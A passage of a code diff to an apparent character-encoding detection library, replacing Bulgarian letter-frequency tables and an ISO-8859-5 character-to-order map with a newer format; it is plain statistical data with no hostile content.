4: 3, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 1, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 1, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 42: { # 'ю' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 2, # 'б' + 9: 1, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 1, # 'е' + 23: 2, # 'ж' + 15: 2, # 'з' + 2: 1, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 2, # 'н' + 4: 1, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 2, # 'ц' + 21: 3, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 16: { # 'я' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 3, # 'д' + 3: 2, # 'е' + 23: 1, # 'ж' + 15: 2, # 'з' + 2: 1, # 'и' + 26: 2, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 1, # 'о' + 13: 2, # 'п' + 7: 2, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 3, # 'х' + 22: 2, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 2, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 58: { # 'є' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 0, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 62: { # '№' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 0, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, +} -# Model Table: -# total sequences: 100% -# first 512 sequences: 96.9392% -# first 1024 sequences:3.0618% -# rest sequences: 0.2992% -# negative sequences: 0.0020% -BulgarianLangModel = ( -0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,3,3,3,3,3, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,2,2,3,2,2,1,2,2, -3,1,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,3,3,3,3,3,3,3,0,3,0,1, -0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,2,3,3,3,3,3,3,3,3,0,3,1,0, -0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, -3,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,1,3,2,3,3,3,3,3,3,3,3,0,3,0,0, -0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,2,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,1,3,2,3,3,3,3,3,3,3,3,0,3,0,0, -0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,3,3,3,2,3,2,2,1,3,3,3,3,2,2,2,1,1,2,0,1,0,1,0,0, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,3,3,3,3,2,3,2,2,3,3,1,1,2,3,3,2,3,3,3,3,2,1,2,0,2,0,3,0,0, -0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,3,3,3,3,1,3,3,3,3,3,2,3,2,3,3,3,3,3,2,3,3,1,3,0,3,0,2,0,0, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,3,3,3,3,3,1,3,3,2,3,3,3,1,3,3,2,3,2,2,2,0,0,2,0,2,0,2,0,0, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,3,3,3,3,3,3,0,3,3,3,2,2,3,3,3,1,2,2,3,2,1,1,2,0,2,0,0,0,0, -1,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,3,3,3,3,2,3,3,1,2,3,2,2,2,3,3,3,3,3,2,2,3,1,2,0,2,1,2,0,0, -0,0,0,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,3,3,1,3,3,3,3,3,2,3,3,3,2,3,3,2,3,2,2,2,3,1,2,0,1,0,1,0,0, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,3,3,3,3,3,3,3,3,1,1,1,2,2,1,3,1,3,2,2,3,0,0,1,0,1,0,1,0,0, -0,0,0,1,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,3,3,2,2,3,2,2,3,1,2,1,1,1,2,3,1,3,1,2,2,0,1,1,1,1,0,1,0,0, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,3,3,1,3,2,2,3,3,1,2,3,1,1,3,3,3,3,1,2,2,1,1,1,0,2,0,2,0,1, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,2,2,3,3,3,2,2,1,1,2,0,2,0,1,0,0, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, -3,0,1,2,1,3,3,2,3,3,3,3,3,2,3,2,1,0,3,1,2,1,2,1,2,3,2,1,0,1,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,1,1,2,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,1,3,3,2,3,3,2,2,2,0,1,0,0, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,3,3,3,3,0,3,3,3,3,3,2,1,1,2,1,3,3,0,3,1,1,1,1,3,2,0,1,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, -3,3,2,2,2,3,3,3,3,3,3,3,3,3,3,3,1,1,3,1,3,3,2,3,2,2,2,3,0,2,0,0, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,2,3,3,2,2,3,2,1,1,1,1,1,3,1,3,1,1,0,0,0,1,0,0,0,1,0,0, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,2,3,2,0,3,2,0,3,0,2,0,0,2,1,3,1,0,0,1,0,0,0,1,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,3,2,1,1,1,1,2,1,1,2,1,1,1,2,2,1,2,1,1,1,0,1,1,0,1,0,1,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,3,2,1,3,1,1,2,1,3,2,1,1,0,1,2,3,2,1,1,1,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,3,3,3,3,2,2,1,0,1,0,0,1,0,0,0,2,1,0,3,0,0,1,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,2,3,2,3,3,1,3,2,1,1,1,2,1,1,2,1,3,0,1,0,0,0,1,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,1,1,2,2,3,3,2,3,2,2,2,3,1,2,2,1,1,2,1,1,2,2,0,1,1,0,1,0,2,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,2,1,3,1,0,2,2,1,3,2,1,0,0,2,0,2,0,1,0,0,0,0,0,0,0,1,0,0, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1, -3,3,3,3,3,3,1,2,0,2,3,1,2,3,2,0,1,3,1,2,1,1,1,0,0,1,0,0,2,2,2,3, -2,2,2,2,1,2,1,1,2,2,1,1,2,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1, -3,3,3,3,3,2,1,2,2,1,2,0,2,0,1,0,1,2,1,2,1,1,0,0,0,1,0,1,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1, -3,3,2,3,3,1,1,3,1,0,3,2,1,0,0,0,1,2,0,2,0,1,0,0,0,1,0,1,2,1,2,2, -1,1,1,1,1,1,1,2,2,2,1,1,1,1,1,1,1,0,1,2,1,1,1,0,0,0,0,0,1,1,0,0, -3,1,0,1,0,2,3,2,2,2,3,2,2,2,2,2,1,0,2,1,2,1,1,1,0,1,2,1,2,2,2,1, -1,1,2,2,2,2,1,2,1,1,0,1,2,1,2,2,2,1,1,1,0,1,1,1,1,2,0,1,0,0,0,0, -2,3,2,3,3,0,0,2,1,0,2,1,0,0,0,0,2,3,0,2,0,0,0,0,0,1,0,0,2,0,1,2, -2,1,2,1,2,2,1,1,1,2,1,1,1,0,1,2,2,1,1,1,1,1,0,1,1,1,0,0,1,2,0,0, -3,3,2,2,3,0,2,3,1,1,2,0,0,0,1,0,0,2,0,2,0,0,0,1,0,1,0,1,2,0,2,2, -1,1,1,1,2,1,0,1,2,2,2,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0, -2,3,2,3,3,0,0,3,0,1,1,0,1,0,0,0,2,2,1,2,0,0,0,0,0,0,0,0,2,0,1,2, -2,2,1,1,1,1,1,2,2,2,1,0,2,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0, -3,3,3,3,2,2,2,2,2,0,2,1,1,1,1,2,1,2,1,1,0,2,0,1,0,1,0,0,2,0,1,2, -1,1,1,1,1,1,1,2,2,1,1,0,2,0,1,0,2,0,0,1,1,1,0,0,2,0,0,0,1,1,0,0, -2,3,3,3,3,1,0,0,0,0,0,0,0,0,0,0,2,0,0,1,1,0,0,0,0,0,0,1,2,0,1,2, -2,2,2,1,1,2,1,1,2,2,2,1,2,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0, -2,3,3,3,3,0,2,2,0,2,1,0,0,0,1,1,1,2,0,2,0,0,0,3,0,0,0,0,2,0,2,2, -1,1,1,2,1,2,1,1,2,2,2,1,2,0,1,1,1,0,1,1,1,1,0,2,1,0,0,0,1,1,0,0, -2,3,3,3,3,0,2,1,0,0,2,0,0,0,0,0,1,2,0,2,0,0,0,0,0,0,0,0,2,0,1,2, -1,1,1,2,1,1,1,1,2,2,2,0,1,0,1,1,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0, -3,3,2,2,3,0,1,0,1,0,0,0,0,0,0,0,1,1,0,3,0,0,0,0,0,0,0,0,1,0,2,2, -1,1,1,1,1,2,1,1,2,2,1,2,2,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0, -3,1,0,1,0,2,2,2,2,3,2,1,1,1,2,3,0,0,1,0,2,1,1,0,1,1,1,1,2,1,1,1, -1,2,2,1,2,1,2,2,1,1,0,1,2,1,2,2,1,1,1,0,0,1,1,1,2,1,0,1,0,0,0,0, -2,1,0,1,0,3,1,2,2,2,2,1,2,2,1,1,1,0,2,1,2,2,1,1,2,1,1,0,2,1,1,1, -1,2,2,2,2,2,2,2,1,2,0,1,1,0,2,1,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,0, -2,1,1,1,1,2,2,2,2,1,2,2,2,1,2,2,1,1,2,1,2,3,2,2,1,1,1,1,0,1,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,2,2,3,2,0,1,2,0,1,2,1,1,0,1,0,1,2,1,2,0,0,0,1,1,0,0,0,1,0,0,2, -1,1,0,0,1,1,0,1,1,1,1,0,2,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0, -2,0,0,0,0,1,2,2,2,2,2,2,2,1,2,1,1,1,1,1,1,1,0,1,1,1,1,1,2,1,1,1, -1,2,2,2,2,1,1,2,1,2,1,1,1,0,2,1,2,1,1,1,0,2,1,1,1,1,0,1,0,0,0,0, -3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0, -1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,2,2,3,2,0,0,0,0,1,0,0,0,0,0,0,1,1,0,2,0,0,0,0,0,0,0,0,1,0,1,2, -1,1,1,1,1,1,0,0,2,2,2,2,2,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1, -2,3,1,2,1,0,1,1,0,2,2,2,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,2, -1,1,1,1,2,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0, -2,2,2,2,2,0,0,2,0,0,2,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,2,0,2,2, -1,1,1,1,1,0,0,1,2,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, -1,2,2,2,2,0,0,2,0,1,1,0,0,0,1,0,0,2,0,2,0,0,0,0,0,0,0,0,0,0,1,1, -0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, -1,2,2,3,2,0,0,1,0,0,1,0,0,0,0,0,0,1,0,2,0,0,0,1,0,0,0,0,0,0,0,2, -1,1,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, -2,1,2,2,2,1,2,1,2,2,1,1,2,1,1,1,0,1,1,1,1,2,0,1,0,1,1,1,1,0,1,1, -1,1,2,1,1,1,1,1,1,0,0,1,2,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0, -1,0,0,1,3,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,2,2,2,1,0,0,1,0,2,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,2,0,0,1, -0,2,0,1,0,0,1,1,2,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0, -1,2,2,2,2,0,1,1,0,2,1,0,1,1,1,0,0,1,0,2,0,1,0,0,0,0,0,0,0,0,0,1, -0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, -2,2,2,2,2,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1, -0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, -2,0,1,0,0,1,2,1,1,1,1,1,1,2,2,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0, -1,1,2,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,2,1,2,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1, -0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,0,0,1,2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0, -0,1,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0, -1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,2,0,0,2,0,1,0,0,1,0,0,1, -1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0, -1,1,1,1,1,1,1,2,0,0,0,0,0,0,2,1,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0, -2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,0,1,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, -) +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters -Latin5BulgarianModel = { - 'char_to_order_map': Latin5_BulgarianCharToOrderMap, - 'precedence_matrix': BulgarianLangModel, - 'typical_positive_ratio': 0.969392, - 'keep_english_letter': False, - 'charset_name': "ISO-8859-5", - 'language': 'Bulgairan', +# Character Mapping Table(s): +ISO_8859_5_BULGARIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 77, # 'A' + 66: 90, # 'B' + 67: 99, # 'C' + 68: 100, # 'D' + 69: 72, # 'E' + 70: 109, # 'F' + 71: 107, # 'G' + 72: 101, # 'H' + 73: 79, # 'I' + 74: 185, # 'J' + 75: 81, # 'K' + 76: 102, # 'L' + 77: 76, # 'M' + 78: 94, # 'N' + 79: 82, # 'O' + 80: 110, # 'P' + 81: 186, # 'Q' + 82: 108, # 'R' + 83: 91, # 'S' + 84: 74, # 'T' + 85: 119, # 'U' + 86: 84, # 'V' + 87: 96, # 'W' + 88: 111, # 'X' + 89: 187, # 'Y' + 90: 115, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 65, # 'a' + 98: 69, # 'b' + 99: 70, # 'c' + 100: 66, # 'd' + 101: 63, # 'e' + 102: 68, # 'f' + 103: 112, # 'g' + 104: 103, # 'h' + 105: 92, # 'i' + 106: 194, # 'j' + 107: 104, # 'k' + 108: 95, # 'l' + 109: 86, # 'm' + 110: 87, # 'n' + 111: 71, # 'o' + 112: 116, # 'p' + 113: 195, # 'q' + 114: 85, # 'r' + 115: 93, # 's' + 116: 97, # 't' + 117: 113, # 'u' + 118: 196, # 'v' + 119: 197, # 'w' + 120: 198, # 'x' + 121: 199, # 'y' + 122: 200, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 194, # '\x80' + 129: 195, # '\x81' + 130: 196, # '\x82' + 131: 197, # '\x83' + 132: 198, # '\x84' + 133: 199, # '\x85' + 134: 200, # '\x86' + 135: 201, # '\x87' + 136: 202, # '\x88' + 137: 203, # '\x89' + 138: 204, # '\x8a' + 139: 205, # '\x8b' + 140: 206, # '\x8c' + 141: 207, # '\x8d' + 142: 208, # '\x8e' + 143: 209, # '\x8f' + 144: 210, # '\x90' + 145: 211, # '\x91' + 146: 212, # '\x92' + 147: 213, # '\x93' + 148: 214, # '\x94' + 149: 215, # '\x95' + 150: 216, # '\x96' + 151: 217, # '\x97' + 152: 218, # '\x98' + 153: 219, # '\x99' + 154: 220, # '\x9a' + 155: 221, # '\x9b' + 156: 222, # '\x9c' + 157: 223, # '\x9d' + 158: 224, # '\x9e' + 159: 225, # '\x9f' + 160: 81, # '\xa0' + 161: 226, # 'Ё' + 162: 227, # 'Ђ' + 163: 228, # 'Ѓ' + 164: 229, # 'Є' + 165: 230, # 'Ѕ' + 166: 105, # 'І' + 167: 231, # 'Ї' + 168: 232, # 'Ј' + 169: 233, # 'Љ' + 170: 234, # 'Њ' + 171: 235, # 'Ћ' + 172: 236, # 'Ќ' + 173: 45, # '\xad' + 174: 237, # 'Ў' + 175: 238, # 'Џ' + 176: 31, # 'А' + 177: 32, # 'Б' + 178: 35, # 'В' + 179: 43, # 'Г' + 180: 37, # 'Д' + 181: 44, # 'Е' + 182: 55, # 'Ж' + 183: 47, # 'З' + 184: 40, # 'И' + 185: 59, # 'Й' + 186: 33, # 'К' + 187: 46, # 'Л' + 188: 38, # 'М' + 189: 36, # 'Н' + 190: 41, # 'О' + 191: 30, # 'П' + 192: 39, # 'Р' + 193: 28, # 'С' + 194: 34, # 'Т' + 195: 51, # 'У' + 196: 48, # 'Ф' + 197: 49, # 'Х' + 198: 53, # 'Ц' + 199: 50, # 'Ч' + 200: 54, # 'Ш' + 201: 57, # 'Щ' + 202: 61, # 'Ъ' + 203: 239, # 'Ы' + 204: 67, # 'Ь' + 205: 240, # 'Э' + 206: 60, # 'Ю' + 207: 56, # 'Я' + 208: 1, # 'а' + 209: 18, # 'б' + 210: 9, # 'в' + 211: 20, # 'г' + 212: 11, # 'д' + 213: 3, # 'е' + 214: 23, # 'ж' + 215: 15, # 'з' + 216: 2, # 'и' + 217: 26, # 'й' + 218: 12, # 'к' + 219: 10, # 'л' + 220: 14, # 'м' + 221: 6, # 'н' + 222: 4, # 'о' + 223: 13, # 'п' + 224: 7, # 'р' + 225: 8, # 'с' + 226: 5, # 'т' + 227: 19, # 'у' + 228: 29, # 'ф' + 229: 25, # 'х' + 230: 22, # 